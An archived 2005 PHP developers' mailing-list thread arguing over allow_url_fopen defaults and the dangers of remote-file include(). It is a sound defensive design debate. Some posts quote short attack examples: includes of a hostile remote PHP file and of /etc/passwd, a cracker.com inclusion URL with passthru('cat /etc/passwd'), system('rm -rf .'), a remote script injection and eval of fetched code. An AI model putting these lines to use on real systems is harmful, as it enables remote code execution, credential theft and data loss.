As of PHP 4.3.4, allow_url_fopen defaults was changed from INI_ALL to INI_SYSTEM.
This change should be reverted, because
-
INI_SYSTEMdisables to patch vulnerable application by addingini_set().
ini_set('allow_url_fopen', 0);
// some dangerous include/require statement
ini_set('allow_url_fopen', 1); // reenable if allow_url_fopen is required -
programmers should be able to control if program allowed to access
remote files or not and should be able to enable/disable allow_url_fopen
only where the feature is needed.
allow_url_fopen should not be site wide configuration for security seasons.
Preferred solution would be
- change allow_url_fopen to
INI_ALL - disable allow_url_fopen by default
I would like to see these changes in PHP 5.1 and PHP 4.4, since this
is security related changes.
--
Yasuo Ohgaki
Hi,
I would like to see these changes in PHP 5.1 and PHP 4.4, since this
is security related changes.
Right, it's a security related thing: Only the administrator can decide wether
any application should be able to do url_fopens or not. If an application
needs it the administrator can check it and enable it by host/directory.
johannes
INI_SYSTEMdisables to patch vulnerable application by adding
ini_set().
ini_set('allow_url_fopen', 0);
// some dangerous include/require statement
ini_set('allow_url_fopen', 1); // reenable if allow_url_fopen is
required
$allowed_wrappers = array('php','file');
foreach(stream_get_wrappers() as $wrapper)
if (!in_array($wrapper, $allowed_wrappers))
stream_wrapper_unregister($wrapper);
- programmers should be able to control if program allowed to access
remote files or not and should be able to enable/disable allow_url_fopen
only where the feature is needed.
Already got it.
allow_url_fopen should not be site wide configuration for security
seasons.
allow_url_fopen is for site administrators to globally stop users from being
stupid.
Letting them override it makes as much sense as letting ini_set('safe_mode',
false); work.
I would like to see these changes in PHP 5.1 and PHP 4.4, since this
is security related changes.
-1 From me. wrapper_unregister/wrapper_restore lets you do everything you
want and then some without reducing the admin's control any.
Yes, unregister/restore is PHP5 only. I'd personally be okay with merging
this to 4.4 as the bulk of the support for it is already there internally,
it's just adding a couple PHP_FUNCTION hooks to make it happen. That's up
to the RM and general consensus though.
-Sara
Yes, unregister/restore is PHP5 only. I'd personally be okay with merging
this to 4.4 as the bulk of the support for it is already there internally,
it's just adding a couple PHP_FUNCTION hooks to make it happen. That's up
to the RM and general consensus though.
4.3/4.4 is a bugfix only branch, so no new features...
Derick
--
Derick Rethans
http://derickrethans.nl | http://ez.no | http://xdebug.org
Derick Rethans wrote:
Yes, unregister/restore is PHP5 only. I'd personally be okay with merging
this to 4.4 as the bulk of the support for it is already there internally,
it's just adding a couple PHP_FUNCTION hooks to make it happen. That's up
to the RM and general consensus though.4.3/4.4 is a bugfix only branch, so no new features...
Derick
Looks like I missed some messages, what about the original request?
- allow_url_fopen back to INI_ALL.
- allow_url_fopen = Off by default.
--
Yasuo Ohgaki
Derick Rethans wrote:
Yes, unregister/restore is PHP5 only. I'd personally be okay with merging
this to 4.4 as the bulk of the support for it is already there internally,
it's just adding a couple PHP_FUNCTION hooks to make it happen. That's up
to the RM and general consensus though.4.3/4.4 is a bugfix only branch, so no new features...
Derick
Looks like I missed some messages, what about the original request?
- allow_url_fopen back to INI_ALL.
That would be same as keeping it the way it is, ie. on-by-default.
Allowing anybody simply change it in their script is not acceptable.
- allow_url_fopen = Off by default.
That's very good idea. But only if it's kept INI_SYSTEM.
--Jani
[...]
allow_url_fopen should not be site wide configuration for security
seasons.allow_url_fopen is for site administrators to globally stop users from being
stupid.
stop them from being stupid by breaking their applications? now that's stupid!
[...]
It has been
INI_ALLfor a looong time until somebody decided to set it
to INI_SYSTEM.
Actually it was "--enable-url-fopen" for a loooooong time until it became
runtime configurable. It was mistakenly set to PHP_INI_ALL, but was
supposed to have been PHP_INI_SYSTEM. (In line with prior behavior)
As I posted earlier, url_fopens can already been temporarily disabled and
reenabled using stream_wrapper_unregister() and stream_wrapper_restore().
There's no need to make the .ini setting magic by making it disablable
one-way.
However, as Derick pointed out php_admin_flag can be used to override the
changability and keep it a system-wide setting on a site specific basis,
so while there's absolutely no reason to make it PHP_INI_ALL, I can possibly
buy into it providing the change happens in HEAD and nowhere else. There's
no reason to break this setting in a stable branch, especially one as old as
4.3/4.
-Sara
P.S. - This was discussed at the time the change was reverted back to
PHP_INI_SYSTEM.
Yasuo Ohgaki writes:
- change allow_url_fopen to
INI_ALL- disable allow_url_fopen by default
I would like to see these changes in PHP 5.1 and PHP 4.4, since this
is security related changes.
What problem are you trying to solve? Attacks against the very common
misuse of:
include "http://example.com/hostile.php"; ?
Or attacks against a graphics library:
getimagesize("http://example.com/hostile.jpg";)
or XML parser:
simplexml_load_file("http://example.com/hostile.xml";)
Derick Rethans writes:
I disagree. With proper filtering, or using non-user-supplied
information there is no problem.
The problem is that naive programmers think there is no problem
withOUT proper filtering. The sharp edges of 'include' are not
visible enough. I'll bet you that people would not use 'include' and
'includeremotehostilecode' in the identical manner.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
Russell Nelson wrote:
Yasuo Ohgaki writes:
- change allow_url_fopen to
INI_ALL- disable allow_url_fopen by default
I would like to see these changes in PHP 5.1 and PHP 4.4, since this
is security related changes.What problem are you trying to solve? Attacks against the very common
misuse of:
include "http://example.com/hostile.php"; ?
Or attacks against a graphics library:
getimagesize("http://example.com/hostile.jpg";)
or XML parser:
simplexml_load_file("http://example.com/hostile.xml";)Derick Rethans writes:
I disagree. With proper filtering, or using non-user-supplied
information there is no problem.The problem is that naive programmers think there is no problem
withOUT proper filtering. The sharp edges of 'include' are not
visible enough. I'll bet you that people would not use 'include' and
'includeremotehostilecode' in the identical manner.
How is this any different from
include "../../../../../etc/passwd";
Or
system("rm -rf .");
Or
echo $user_data;
where $user_data contains:
<script src="http://remote.host/foo.js"></script>;There are a lot of places where unfiltered user input can cause some
rather severe problems.
I agree that we need to improve the overall level of security in PHP,
but I am not sure that focusing on allow_url_fopen is very constructive.
There are far far more web sites that have these other unfiltered user
data issues than have url_fopen issues.
-Rasmus
I agree that we need to improve the overall level of security in PHP,
but I am not sure that focusing on allow_url_fopen is very constructive.
There are far far more web sites that have these other unfiltered user
data issues than have url_fopen issues.
I agree with Rasmus. Remote URL Includes are dieing out. They are not as
common as they were some time ago. Most released advisories are SQL
Injections nowadays and well maybe Russells next mail says:
mysql_query() considered harmful.
Ohh btw... Many remote url include holes nowadays are only exploitable
with register_globals=On. And here again you may blame PHP because it
allows an attacker to change the content of unitialized variables.
(Which can also be achieved in C programs, by populating the stack with
values you want through other code paths).
But I blame the programmers for not initializing their variables
correctly. Not filtering user input...
Ohhh btw Russell, if you really consider include harmful, then simply
install the Hardening-Patch for PHP and live with it. Several big
hosters already use it, and it disallows any remote includes, beside
other include tricks.
Stefan
Stefan Esser writes:
I agree with Rasmus. Remote URL Includes are dieing out.
That's not what Rasmus said.
Most released advisories are SQL Injections nowadays and well maybe
Russells next mail says: mysql_query() considered harmful.
When the top Google result for 'php security flaw' returns
mysql_query() instead of include(), I will agree that you are correct.
Ohhh btw Russell, if you really consider include harmful, then simply
install the Hardening-Patch for PHP and live with it.
I'm not trying to fix this for me. Clearly there are at least a
half-dozen things I could do to fix the problem for myself[!]. I
believe that the problem's cause is the design of the language
intrinsic. Therefore, fixing the problem for myself doesn't address
the cause of the problem. It just prevents me from seeing the problem
anymore. The problem is still there.
[!] The first six:
- rm -rf php
- don't allow my users access to php.
- audit all code written by my users.
- turn allow_url_fopen off.
- install Hardening.
- write my own patch removing url_fopen capability from 'include'.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
There is nothing wrong with fopen or include, and PHP isn't
instrinically broken here. The only thing intrinsic about PHP that has
anything to do with these security areas is how PHP is powerfully simple
- lowering the bar for adoption. When you do this, you pick up newbie
programmers who code up insecure applications. The bar also gets
lowered for juvenile attackers who can easily browse and understand
source code.
Real software engineers - like those in the enterprise - know how to
write secure code and look at how flexible PHP is and see an amazing
tool to increase productivity.
Turning PHP into a babysitter only hurts PHP, by restricting the
enterprise / experienced developers, and curtailing innovation on how
PHP is used. There are already solutions available for hosting
companies that want a stop gap solution. I've even seen hosting
companies that offer security consulting and can work with their
customers to secure their site.
Your "do this because Google proves it" argument only shows me that
there are mainly educational articles on topics of security, and I would
say that people are learning more about web security as time goes on -
hence the high page rank of those articles. Using google to prove a
point is both flawed and useless.
I agree with Stefan's previous emails.
Al
Stefan Esser writes:
I agree with Rasmus. Remote URL Includes are dieing out.
That's not what Rasmus said.
Most released advisories are SQL Injections nowadays and well maybe
Russells next mail says: mysql_query() considered harmful.When the top Google result for 'php security flaw' returns
mysql_query() instead of include(), I will agree that you are correct.Ohhh btw Russell, if you really consider include harmful, then simply
install the Hardening-Patch for PHP and live with it.I'm not trying to fix this for me. Clearly there are at least a
half-dozen things I could do to fix the problem for myself[!]. I
believe that the problem's cause is the design of the language
intrinsic. Therefore, fixing the problem for myself doesn't address
the cause of the problem. It just prevents me from seeing the problem
anymore. The problem is still there.[!] The first six:
- rm -rf php
- don't allow my users access to php.
- audit all code written by my users.
- turn allow_url_fopen off.
- install Hardening.
- write my own patch removing url_fopen capability from 'include'.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
Al Baker writes:
Turning PHP into a babysitter
Nothing you wrote explains why so many people have had this problem.
Everything you write is an attempt to deny that the problem exists,
deny that serious programmers have the problem, deny that the problem
is due to a badly designed intrinsic, and deny that the intrinsic
should be redesigned so that its sharp edges are either softened or
made apparent.
Graphical user interface designers understand the idea of an
'affordance'. An affordance is something whose operation is obvious
simply by looking at it. An uparrow button moves something upwards.
'include' is an affordance. It obviously includes a local file.
In essence, php's include is an apple with a razor blade hidden in it.
In essence, allow_url_fopen==no wraps all fruit with a metal mesh so
when you bite into them, your mouth is protected from the razor blade
in the apple. Unfortunately, the only fruit which has ever been found
to have razor blades in it are the apples.
I agree with Stefan's previous emails.
Even the part where he agrees with something Rasmus didn't say?
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
Russell Nelson wrote:
Graphical user interface designers understand the idea of an
'affordance'. An affordance is something whose operation is obvious
simply by looking at it. An uparrow button moves something upwards.
'include' is an affordance. It obviously includes a local file.
To me, it's obvious that include includes a file - I see no obvious
determination that that file is either local or remote in the "include"
statement.
Also, I think it's silly to make include into two functions as you
suggest given that the ability to include a remote file depends on the
fopen wrapper being enabled. If we were to follow this line of logic, we
would have two functions for every current one function which can use
the fopen wrappers.
I think the documentation quite clearly states that /all/ functions that
deal with files may deal with remote files if the fopen wrappers are
enabled and that it's safest to make sure these wrappers are disabled in
the php.ini/config file.
I'm not speaking as somebody who's never seen the misuse of include()
either - I had a server remotly exploited several months back after I
"did a favour for a mate" and let him run some of his dodgy code on the
machine. However, as I mention above, every single function that can use
fopen wrappers can be exploited in this way. Now, if include is at the
top of the currently-exploited-in-this-manner list of these functions,
maybe the documentation needs to start using <blink>* tags to highlight
things a bit more - this is an entirely seperate issue to the function
being broken.
Sadly, the (ab)use of this function and others using fopen are things
I'm seeing are in-line with how I saw people abusing crap perl scripts
5-10 years back when that started to become really popular for web
scripting. It's unfortunate, but there's a lot of muppets out there who
think they can code - it shouldn't be anybodies job to shield them from
the headaches they'll be unleashing upon themselves when that removes
functionality or changes existing functionality for those of us who know
how to use these functions appropriatly - after all, about the first
thing you read in any book about any web scripting is you /do not/
accept unvalidated user input.
- -- sorry, joke :-)
Gareth Ardron writes:
To me, it's obvious that include includes a file - I see no obvious
determination that that file is either local or remote in the "include"
statement.
Can you name some other languages in which 'include' has such
incredibly sharp edges? C? Python? Perl? BASH? Sed? Awk? Pascal?
BASIC? Is there any precedent for a language in which 'include'
will fetch hostile code from a remote server and execute it? If
you're going to argue that experienced programmers will understand
that 'include' will fetch code, you should explain how their
experience helps them.
Also, I think it's silly to make include into two functions as you
suggest given that the ability to include a remote file depends on the
fopen wrapper being enabled. If we were to follow this line of logic, we
would have two functions for every current one function which can use
the fopen wrappers.
That's not my line of logic, so following it takes you off the map.
I think the documentation quite clearly states that /all/ functions that
deal with files may deal with remote files if the fopen wrappers are
enabled
Why did both of my users miss that documentation? The facts seem to
be in opposition to your assertion that "the documentation quite
clearly states".
However, as I mention above, every single function that can use
fopen wrappers can be exploited in this way.
Not true. You would need to have another security flaw (a bug in
jpg or xml parsing) for hostile jpg or xml content to gain privileges.
It's unfortunate, but there's a lot of muppets out there who think
they can code
Now you're blaming the victim.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
Russell Nelson wrote:
I think the documentation quite clearly states that /all/ functions that
deal with files may deal with remote files if the fopen wrappers are
enabledWhy did both of my users miss that documentation? The facts seem to
be in opposition to your assertion that "the documentation quite
clearly states".
I don't really feel that 2 users are a good indication of users as a
whole, here - however, it still seems more of a documentation issue than
a broken function issue to me. To break BC seems overkill for a function
which is so useful to many of us working on systems distributed over
many different servers.
It's unfortunate, but there's a lot of muppets out there who think
they can codeNow you're blaming the victim.
Yes, I am. Ok, maybe part of that blame should lie in the documentation,
but really it's a silly bug to fall for.
To quote the page at the top of a google search for "php security flaw"
(as you suggested searching for):
"This is a common mistake by newbies. When PHP is including a page it
doesn't care if the page is locally or on a remote server. Someone could
easily change the URL to
http://www.unsecuresite.com/index.php?page=http://www.cracker.com/crack.php.
Imagine crack.php is containing this text:
<?php passthru( "cat /etc/passwd" ); ?>"
Indeed, the rest of that google search seems to be pulling up articles
on past php security flaws now delt with or articles on how to improve
the security of your php scripts - I'm hard-pushed to find a large
number of specific articles dealing with the 'flaw' you mention.
Regards,
--
Gareth Ardron
PHP is not, in my opinion, idiot-proof. You're right on that point.
Where our opinions differ is about what should be done about this.
If a programmer is not capable of controlling an user input, why then
should we trust him with anything ? A lot of other functions taking
user input as arguments could potentially be as damaging as this one.
I think if a programmer can't read a manual page about a so common
function, he deserves what he has. Yes, I'm feeling a bit
pre-conventionnal tonight.
As for the rm -rf / case, I think it's the best exemple. Why should
a hacker bother on exploiting an include stupidly called with user
input unfiltered when he can get straight to an unprotected
system($_GET['Whatever']). Are you suggesting that virtually any
function should be protected against stupidity ? What kind of language
PHP would be after that ?
Gareth Ardron writes:
To me, it's obvious that include includes a file - I see no obvious
determination that that file is either local or remote in the "include"
statement.Can you name some other languages in which 'include' has such
incredibly sharp edges? C? Python? Perl? BASH? Sed? Awk? Pascal?
BASIC? Is there any precedent for a language in which 'include'
will fetch hostile code from a remote server and execute it? If
you're going to argue that experienced programmers will understand
that 'include' will fetch code, you should explain how their
experience helps them.Also, I think it's silly to make include into two functions as you
suggest given that the ability to include a remote file depends on the
fopen wrapper being enabled. If we were to follow this line of logic, we
would have two functions for every current one function which can use
the fopen wrappers.That's not my line of logic, so following it takes you off the map.
I think the documentation quite clearly states that /all/ functions that
deal with files may deal with remote files if the fopen wrappers are
enabledWhy did both of my users miss that documentation? The facts seem to
be in opposition to your assertion that "the documentation quite
clearly states".However, as I mention above, every single function that can use
fopen wrappers can be exploited in this way.Not true. You would need to have another security flaw (a bug in
jpg or xml parsing) for hostile jpg or xml content to gain privileges.It's unfortunate, but there's a lot of muppets out there who think
they can codeNow you're blaming the victim.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.--
--
Nicolas Bérard Nault (nicobn@gmail.com)
"Maybe nature is fundamentally ugly, chaotic and complicated. But if
it's like that, then I want out." -- Steven Weinberg (prix Nobel de
physique, 1979).
Just for the records, I guess you all know that I meant 'language
construct' where I wrote 'function' instead (in reference to include).
PHP is not, in my opinion, idiot-proof. You're right on that point.
Where our opinions differ is about what should be done about this.If a programmer is not capable of controlling an user input, why then
should we trust him with anything ? A lot of other functions taking
user input as arguments could potentially be as damaging as this one.
I think if a programmer can't read a manual page about a so common
function, he deserves what he has. Yes, I'm feeling a bit
pre-conventionnal tonight.As for the
rm -rf /case, I think it's the best exemple. Why should
a hacker bother on exploiting an include stupidly called with user
input unfiltered when he can get straight to an unprotected
system($_GET['Whatever']). Are you suggesting that virtually any
function should be protected against stupidity ? What kind of language
PHP would be after that ?Gareth Ardron writes:
To me, it's obvious that include includes a file - I see no obvious
determination that that file is either local or remote in the "include"
statement.Can you name some other languages in which 'include' has such
incredibly sharp edges? C? Python? Perl? BASH? Sed? Awk? Pascal?
BASIC? Is there any precedent for a language in which 'include'
will fetch hostile code from a remote server and execute it? If
you're going to argue that experienced programmers will understand
that 'include' will fetch code, you should explain how their
experience helps them.Also, I think it's silly to make include into two functions as you
suggest given that the ability to include a remote file depends on the
fopen wrapper being enabled. If we were to follow this line of logic, we
would have two functions for every current one function which can use
the fopen wrappers.That's not my line of logic, so following it takes you off the map.
I think the documentation quite clearly states that /all/ functions that
deal with files may deal with remote files if the fopen wrappers are
enabledWhy did both of my users miss that documentation? The facts seem to
be in opposition to your assertion that "the documentation quite
clearly states".However, as I mention above, every single function that can use
fopen wrappers can be exploited in this way.Not true. You would need to have another security flaw (a bug in
jpg or xml parsing) for hostile jpg or xml content to gain privileges.It's unfortunate, but there's a lot of muppets out there who think
they can codeNow you're blaming the victim.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.--
--
Nicolas Bérard Nault (nicobn@gmail.com)
"Maybe nature is fundamentally ugly, chaotic and complicated. But if
it's like that, then I want out." -- Steven Weinberg (prix Nobel de
physique, 1979).
--
Nicolas Bérard Nault (nicobn@gmail.com)
"Maybe nature is fundamentally ugly, chaotic and complicated. But if
it's like that, then I want out." -- Steven Weinberg (prix Nobel de
physique, 1979).
Nicolas Bérard Nault writes:
If a programmer is not capable of controlling an user input,
You are making a mistake here. You are assuming that the user
realized that 'include' is really 'includeremotesecurityhole'.
Consider the security implications of a user 'include'ing a file that
doesn't exist (because the attacker used a different filename).
Pretty small. They would be akin to what happens when you specify an
.html file that doesn't exist. Generates an error; no big deal.
Do you see? Your assumption proves my point: that the naive user
doesn't see any sharp edges on 'include' and doesn't worry about it.
I think if a programmer can't read a manual page about a so common
function, he deserves what he has.
If 'strchr' caused your CPU's fan to stop turning, should 1) a
work-around be documented, or 2) the code fixed? If a bug in libjpeg
allows a url_fopened image to contain invalid data that elevates
privilege, should that be 1) a work-around be documented, or 2) the
code fixed? If the design of 'include' allows remote users to execute
hostile code, should that be 1) a work-around be documented, or 2) the
code fixed?
Are you suggesting that virtually any function should be
protected against stupidity ?
If people do stupid things with a computer, is it their fault or the
computer's fault? Personally, I always think it's the computer's
fault. So, yes, if people end up doing stupid things, it is because
the computer is wrong.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
If 'strchr' caused your CPU's fan to stop turning, should 1) a
work-around be documented, or 2) the code fixed? If a bug in libjpeg
allows a url_fopened image to contain invalid data that elevates
privilege, should that be 1) a work-around be documented, or 2) the
code fixed? If the design of 'include' allows remote users to execute
hostile code, should that be 1) a work-around be documented, or 2) the
code fixed?
This is a stupid comparison. In the first two cases, the bugs would
be allowing something to happen that was not even remotely related
with the intention of the function/library. include() is simply doing
its job, which by the way is well documented. It's not
unexpeced/undesigned/buggy behaviour that it will include what it's
told to. The potential for inclusion of malicious code is, if
anything, a common oversight, not a design flaw.
What I can suggest is one of two things... (not particularly
whole-heartedly, though):
-
Create an
INI_ALLvariable that means something like "allow fopen
wrappers in include/require" and default it to whatever is thought
appropriate -- if it is a very common oversight, maybe false. -
Add a "Basic considerations for your web page/application" top
level that addresses the basic most common security issues. The rest
of the docs could then be peppered with "security warnings" (<blink>s)
where found really necessary.
Of those, I'd probably prefer suggestion 2.
Are you suggesting that virtually any function should be
protected against stupidity ?If people do stupid things with a computer, is it their fault or the
computer's fault? Personally, I always think it's the computer's
fault. So, yes, if people end up doing stupid things, it is because
the computer is wrong.
Well, if you are a total end-user, I'd agree with you. But developers
do need to take up some responsability to not being stupid (how much
is always debatable, but you can' use such a blanket argument).
--
Nelson Menezes
flying.mushroom@gmail.com
Nelson Menezes writes:
The potential for inclusion of malicious code is, if
anything, a common oversight, not a design flaw.
If it's a common oversight, then it is a design flaw.
- Create an
INI_ALLvariable that means something like "allow fopen
wrappers in include/require" and default it to whatever is thought
appropriate -- if it is a very common oversight, maybe false.
That would solve the problem. You could still use the sharp edges of
'include', but you would have to take the sheath off first.
Does anyone disagree with Nelson's suggestion? If I wrote the patch,
who should I submit it to? It ought to be pretty small, so I could
post it here, but that's probably not right.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
Russell Nelson wrote:
Nelson Menezes writes:
The potential for inclusion of malicious code is, if
anything, a common oversight, not a design flaw.If it's a common oversight, then it is a design flaw.
- Create an
INI_ALLvariable that means something like "allow fopen
wrappers in include/require" and default it to whatever is thought
appropriate -- if it is a very common oversight, maybe false.That would solve the problem. You could still use the sharp edges of
'include', but you would have to take the sheath off first.Does anyone disagree with Nelson's suggestion? If I wrote the patch,
who should I submit it to? It ought to be pretty small, so I could
post it here, but that's probably not right.
Yes, most of us disagree. There will be a more complete set of input
filtering tools available soon which addresses a broader range of input
filtering problems like this one. Simply patching this one isn't going
to help much as this particular one is not that common these days.
Forget your Google searches and go look at actual vulnerability reports
for the last 3 months.
-Rasmus
Rasmus Lerdorf writes:
Forget your Google searches and go look at actual vulnerability reports
for the last 3 months.
Vulnerability reports are not a reasonable statistical sample. They
aren't random. Also, people who report vulnerabilities are likely to
stop reporting them if the maintainers of the software make it clear
that the vulnerability won't get fixed. Why waste your time reporting
an 'include' break-in? After all, it's not a vulnerability -- many
people have told me that already.
For example, I didn't report the two include vulnerabilities I found.
Why should I? What problem would be solved by me reporting a security
flaw that I ought to have known about before-hand?
Google, on the other hand, tries to give you the most appropriate page
when you search for something.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
Russell Nelson wrote:
Stefan Esser writes:
I agree with Rasmus. Remote URL Includes are dieing out.
That's not what Rasmus said.
Most released advisories are SQL Injections nowadays and well maybe
Russells next mail says: mysql_query() considered harmful.When the top Google result for 'php security flaw' returns
mysql_query() instead of include(), I will agree that you are correct.
I am not sure a Google search is a very good barometer here. I'd like
to think that we are pretty good at staying on top of the security
problems reported in PHP-related applications and as such have a pretty
good idea of what the top problems are. I rarely see these url_fopen
issues anymore. Perhaps 2 years ago, but today it really doesn't seem
like it is even in the top 10 PHP security problems. If you could order
your serach results by date I bet you'd see that a number of these
entries are quite old.
-Rasmus
Rasmus Lerdorf writes:
Russell Nelson wrote:
When the top Google result for 'php security flaw' returns
mysql_query() instead of include(), I will agree that you are correct.I am not sure a Google search is a very good barometer here.
... today it really doesn't seem like it is even in the top 10 PHP
security problems.
Essentially, you're saying that Google doesn't do a good job at
finding pages people would be interested in reading. That's a strong
claim to make.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
Please troll, do you go away if I close my eyes?
--Jani
Rasmus Lerdorf writes:
Russell Nelson wrote:
When the top Google result for 'php security flaw' returns
mysql_query() instead of include(), I will agree that you are correct.I am not sure a Google search is a very good barometer here.
... today it really doesn't seem like it is even in the top 10 PHP
security problems.Essentially, you're saying that Google doesn't do a good job at
finding pages people would be interested in reading. That's a strong
claim to make.
Jani Taskinen sniper@iki.fi writes:
Please troll, do you go away if I close my eyes?
That's not fair. Russell is providing strong arguments and rebuttals for
every point. You may not agree with his points, but what he's doing is not
trolling. This discussion seems to have strong backing on both sides of the
issue.
There has been an argument made during this discussion that the include()
construct does exactly as it is documented to do, and therefore the security
concerns are not warranted. I have a bit of a problem with that argument:
The PHP documentation is really good -- some of the best of all the
open-source projects I've seen -- but there is so much documentation (and so
many capabilities of the language) that expecting people to read it all is
unreasonable. PHP is sufficiently like C (a "good thing", I believe) that
experienced C developers can write code in PHP, and reference the
documentation when something doesn't work.
I've been developing PHP code for about 5 years, and have been a software
engineer working with many languages (but primarily C) for the past 25 years.
Although I validate all user input in PHP so I've never been bitten by this
problem, I was surprised when this topic started, that include() could access
remote files. Yes, I probably knew it 5 years ago, but include() has a basic
meaning in all other languages I've used, and I would have expected it to work
the same way in PHP.
Someone suggested that if include() were insecure, then maybe system() is as
well. I think I have to disagree with the comparison. Anyone using system()
in any language expects the potential for nasty effects if the parameter is
nasty, so it would be clear that the developer needs to be extremely careful.
If include() could include only local files as is done in other languages (and
as many -- most? -- developers would expect), then it would be much less
dangerous.
Derrell
I think the point is that we're not going to change include() any time
soon, and that this thread is not a productive use of everyones time.
--Wez.
On 6/29/05, Derrell.Lipman@unwireduniverse.com
Derrell.Lipman@unwireduniverse.com wrote:
Jani Taskinen sniper@iki.fi writes:
Please troll, do you go away if I close my eyes?That's not fair. Russell is providing strong arguments and rebuttals for
every point. You may not agree with his points, but what he's doing is not
trolling. This discussion seems to have strong backing on both sides of the
issue.There has been an argument made during this discussion that the include()
construct does exactly as it is documented to do, and therefore the security
concerns are not warranted. I have a bit of a problem with that argument:The PHP documentation is really good -- some of the best of all the
open-source projects I've seen -- but there is so much documentation (and so
many capabilities of the language) that expecting people to read it all is
unreasonable. PHP is sufficiently like C (a "good thing", I believe) that
experienced C developers can write code in PHP, and reference the
documentation when something doesn't work.I've been developing PHP code for about 5 years, and have been a software
engineer working with many languages (but primarily C) for the past 25 years.
Although I validate all user input in PHP so I've never been bitten by this
problem, I was surprised when this topic started, that include() could access
remote files. Yes, I probably knew it 5 years ago, but include() has a basic
meaning in all other languages I've used, and I would have expected it to work
the same way in PHP.Someone suggested that if include() were insecure, then maybe
system()is as
well. I think I have to disagree with the comparison. Anyone usingsystem()
in any language expects the potential for nasty effects if the parameter is
nasty, so it would be clear that the developer needs to be extremely careful.
If include() could include only local files as is done in other languages (and
as many -- most? -- developers would expect), then it would be much less
dangerous.Derrell
Wez Furlong writes:
I think the point is that we're not going to change include() any time
soon,
Why not? It's still badly designed because it has hidden sharp edges.
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
Derrell.Lipman@UnwiredUniverse.com wrote:
Please troll, do you go away if I close my eyes?
That's not fair. Russell is providing strong arguments and rebuttals
for every point. You may not agree with his points, but what he's
doing is not trolling. This discussion seems to have strong backing
on both sides of the issue.
While I'd like to agree with this, all I see when reading the group is a
week-long simmering flame war that boils down to "OMGWTFBBQ!!!!11!11one
inc1ud3 is teh 5pl0i7z!!!1111"
Rasmus says "These security articles are pretty old," and gets back the
response of "yeah, well you're implying Google doesn't return good
results!" This is trollish behavior any way you slice it.
Should exec, system, and shell_exec filter commands that could be
harmful? Should they make sure nobody runs "rm -rf /" on your server
because somebody did a system($foo)? PHP gives all system
administrators the tools they need; whether it be safe_mode,
safe_mode_exec_dir, open_basedir, disable_functions, allow_url_fopen,
and other methods of locking down a server to avoid accidental or
malicious damage.
For what it's worth, I agree that include should have a method of
disabling fetching remote files. We actually patched PHP to this effect
after one of our users did include($foo) and got us hacked. We still
allow_url_fopen for stuff like RSS feeds, but none of this "include and
evaluate" crap for us. We run a hosting service filled with users
ignorant of the true power at their fingertips, people who either don't
read the manual or misunderstand it. PHP is a programming language used
by non-programmers, and that is what makes it dangerous.
Why do I say this? People get attached to a method for doing something.
Some of our users were convinced they had to execute remote code from
another site (which we also host; they didn't seem to understand the
idea of including without http://). So what did they do?
$bar = file_get_contents($foo);
eval($bar);
Does PHP have to stop this, too?
As it turns out, our particular combination of safe_mode_* elements
means users only get access to their own files, can only execute
binaries we allow, and we explicitly disable any function that returns
system information, provides shared resources, or is capable of
modifying permissions. If one of our users is sloppy, only their own
files are at risk, and we have backups in any case.
Railing on for days at a time at how include is insecure is not news,
and accomplishes nothing. The main core developers have had their say,
and they're not going to change their minds through constant harassment;
that's just not human nature.
That said, I humbly ask we add allow_url_include to accompany
allow_url_fopen, since some desire only to disable the former. We got
what we wanted by patching the source, so do as you will. ^_^
--
Shaun M. Thomas INN Database Administrator
Phone: (309) 743-0812 Fax : (309) 743-0830
Email: sthomas@townnews.com Web : www.townnews.com
Derrell.Lipman@UnwiredUniverse.com wrote:
Jani Taskinen sniper@iki.fi writes:
Please troll, do you go away if I close my eyes?That's not fair. Russell is providing strong arguments and rebuttals for
every point. You may not agree with his points, but what he's doing is not
trolling. This discussion seems to have strong backing on both sides of the
issue.
i agree full!
isnt it possible to add a check to the include*()/require*() statement
that checks the parameter for existence in the superglobal $_REQUEST
if the same value is found in $_REQUEST it could raise a WARNING, and
notice the user about this security-leak.
--
Sebastian Mendel
www.sebastianmendel.de
www.sf.net/projects/phpdatetime | www.sf.net/projects/phptimesheet
